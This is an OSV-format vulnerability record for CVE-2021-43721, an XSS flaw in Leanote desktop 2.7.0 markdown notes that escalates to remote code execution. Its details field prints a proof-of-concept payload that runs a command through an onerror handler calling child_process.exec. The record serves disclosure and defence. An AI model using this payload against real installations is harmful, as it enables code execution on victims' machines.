{
  "affected": [
    {
      "ranges": [
        {
          "database_specific": {
            "extracted_events": [
              {
                "cpe": "cpe:2.3:a:leanote:leanote:2.7.0:*:*:*:*:*:*:*",
                "range": [
                  {
                    "introduced": "2.7.0"
                  },
                  {
                    "last_affected": "2.7.0"
                  }
                ],
                "source": "CPE_STRING"
              }
            ]
          },
          "events": [
            {
              "introduced": "c34c847586fbb566eb8ea4e87f2e7acd5c088221"
            },
            {
              "last_affected": "c34c847586fbb566eb8ea4e87f2e7acd5c088221"
            }
          ],
          "repo": "https://github.com/leanote/desktop-app",
          "type": "GIT"
        }
      ],
      "versions": [
        "2.7.0"
      ]
    }
  ],
  "database_specific": {},
  "details": "Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e",
  "id": "CVE-2021-43721",
  "modified": "2026-10-24T02:30:45.448634397Z",
  "published": "2022-03-28T14:15:07.627Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://github.com/leanote/desktop-app/issues/364"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}